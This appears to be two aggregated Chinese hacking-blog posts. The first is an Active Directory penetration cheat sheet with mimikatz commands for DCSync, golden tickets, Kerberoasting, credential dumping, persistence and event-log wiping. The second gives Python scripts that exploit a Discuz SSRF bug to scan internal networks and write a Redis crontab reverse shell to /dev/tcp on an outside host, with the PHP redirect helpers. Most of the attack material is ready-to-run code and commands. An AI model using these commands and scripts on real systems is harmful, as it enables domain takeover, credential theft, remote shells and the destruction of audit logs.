Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts
Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts
Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd - adds a user to a specified local or domain group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - get a list of file servers used by current domain users
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-NetSessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource (share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server

BloodHound

获取域控的方法

SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 相关阅读:

MS14-068 Kerberos
python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机

利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit
net use k: \pentest.comc$

相关阅读 :

SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。 相关阅读 :

Kerberos的黄金门票

在域上抓取的哈希

lsadump::dcsync /domain:pentest.com /user:krbtgt
kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi
kerberos::ptt administrator.kiribi
kerberos::tgt
net use k: \pnet use k: \pentest.comc$

相关阅读 :

Kerberos的银票务

黄金票据和白银票据的一些区别: Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 银票:伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信 相关阅读 :

域服务账号破解

与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户

setspn -T PENTEST.com -Q */*

从Mimikatz的RAM中提取获得的门票

kerberos::list /export

用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
凭证盗窃

从搜集的密码里面找管理员的密码

地址解析协议

实在搞不定再搞ARP

获取AD哈希

  • 使用VSS卷影副本
  • Ntdsutil中获取NTDS.DIT​​文件
  • PowerShell中提取NTDS.DIT –>Invoke-NinaCopy
  • 使用Mimikatz提取
mimikatz lsadump::lsa /inject exit 
  • 使用PowerShell Mimikatz
  • 使用Mimikatz的DCSync 远程转储Active Directory凭证 提取 KRBTGT用户帐户的密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit

管理员用户帐户提取密码数据:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit

  • NTDS.dit中提取哈希 使用esedbexport恢复以后使用ntdsxtract提取

AD持久化

活动目录持久性技巧

https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:[巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html)

DCshadow

Security Support Provider

简单的理解为SSP就是一个DLL,用来实现身份认证

privilege::debug
misc::memssp

这样就不需要重启c:/windows/system32可看到新生成的文件kiwissp.log

SID History

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"
AdminSDHolder&SDProp

利用AdminSDHolder&SDProp(重新)获取域管理权限

组策略

https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用

Hook PasswordChangeNotify

http://wooyun.jozxing.cc/static/drops/tips-13079.html

TIPS

《域渗透——Dump Clear-Text Password after KB2871997 installed》 《域渗透——Hook PasswordChangeNotify》

可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

《域渗透——Local Administrator Password Solution》

域渗透时要记得留意域内主机的本地管理员账号

《域渗透——利用SYSVOL还原组策略中保存的密码》

相关工具

BloodHound CrackMapExec DeathStar

利用过程:http://www.freebuf.com/sectool/160884.html

在远程系统上执行程序

  • At
  • Psexec
  • WMIC
  • Wmiexec
  • Smbexec
  • Powershell remoting
  • DCOM

IOT相关

中间人

规避杀软及检测

Bypass Applocker

UltimateAppLockerByPassList https://lolbas-project.github.io/

bypassAV

痕迹清理

Windows日志清除

获取日志分类列表:

wevtutil el >1.txt

获取单个日志类别的统计信息: eg.

wevtutil gli "windows powershell"

回显:

creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1

查看指定日志的具体内容:

wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息:

wevtutil cl "windows powershell"

破坏Windows日志记录功能

利用工具

msf

run clearlogs 
clearev 

3389登陆记录清除

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

from

渗透测试之端口转发与代理 常用端口转发方法

The post 内网渗透技巧 网站应用程序渗透 逻辑漏洞 appeared first on 🔰雨苁ℒ🔰.

Discuz ssrf漏洞利用的几个python脚本

$
0
0

Discuz ssrf漏洞利用的几个python脚本

概念:SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。

那么SSRF 可以做什么呢?
1.内外网的端口和服务扫描
2.主机本地敏感数据的读取
3.内外网主机应用程序漏洞的利用
4.内外网Web站点漏洞的利用
基本上啥都能做了

扫描本机开放的端口:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2016-07-05 20:55:30
# @Last Modified by:   Lcy
# @Last Modified time: 2016-10-10 16:26:14
import requests
import threading
import Queue
import time

threads_count = 2
que = Queue.Queue()
lock = threading.Lock()
threads = []
ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
for i in ports:
    que.put(str(i))
def run():
    while que.qsize() > 0:
        p = que.get()
        print p + "       \r",
        try:
            url = "http://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip=127.0.0.1%26port={port}%26data=helo.jpg[/img]".format(
                port=p)
            r = requests.get(url,timeout=2.8)
        except:
            lock.acquire()
            print "{port}  Open".format(port=p)
            lock.release()
for i in range(threads_count):
    t = threading.Thread(target=run)
    threads.append(t)
    t.setDaemon(True)
    t.start()

while que.qsize() > 0:
    time.sleep(1.0)
Discuz ssrf漏洞利用的几个python脚本
Discuz ssrf漏洞利用的几个python脚本

扫描内网开放6379端口的主机:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2016-07-05 20:55:30
# @Last Modified by:   Lcy
# @Last Modified time: 2016-07-21 14:38:04
import requests
import threading
import Queue
import time
threads_count = 20
que = Queue.Queue()
lock = threading.Lock()
threads = []
ip = "10.171."
for i in range(1,255):
    for j in range(1,255):
        que.put(ip + str(i) + '.'+str(j))
# for i in range(0,255):
#     que.put(ip + str(i))
def run():
    while que.qsize() > 0:
        ip = que.get()
        try:
            url = "http://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip={ip}%26port={port}%26data=helo.jpg[/img]".format(
                ip=ip,
                port="65321")
            r = requests.get(url,timeout=5)
            
            try:
                url = "https://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]http://tools.phpinfo.me/ssrf.php?s=ftp%26ip={ip}%26port={port}%26data=helo.jpg[/img]".format(
                ip=ip,
                port="6379")
                r = requests.get(url,timeout=5)
                lock.acquire()
                print ip
                lock.release()
            except :
                lock.acquire()
                print "{ip}  6379 Open".format(ip=ip)
                lock.release()
        except:
            pass

for i in range(threads_count):
    t = threading.Thread(target=run)
    threads.append(t)
    t.setDaemon(True)
    t.start()
while que.qsize() > 0:
    time.sleep(1.0)

通过ssrf操作内网redis写任务计划反弹shell:

#!/usr/bin/env python
# coding=utf-8
# email: ringzero@0x557.org

import requests

host = '10.171.26.22'
port = '6379'
bhost = 'phpinfo.me'
bport = '32'

vul_httpurl = 'https://bbs.phpinfo.me/forum.php?mod=ajax&action=downremoteimg&message=[img]'

_location = 'http://tools.phpinfo.me/ssrf.php'

shell_location = 'http://tools.phpinfo.me/shell.php'


#1 flush db

_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#2 set crontab command

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(

    host = host,

    port = port,

    bhost = bhost,

    bport = bport)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#3 config set dir /var/spool/cron/

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#4 config set dbfilename root

_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)



#5 save to file

_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(

    host = host,

    port = port)

exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print len(requests.get(exp_uri).content)

ssrf.php:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

shell.php:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>

from

暗网网址 250个 TorLinks | onion Link List

The post Discuz ssrf漏洞利用的几个python脚本 appeared first on 🔰雨苁ℒ🔰.

Viewing all 323 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>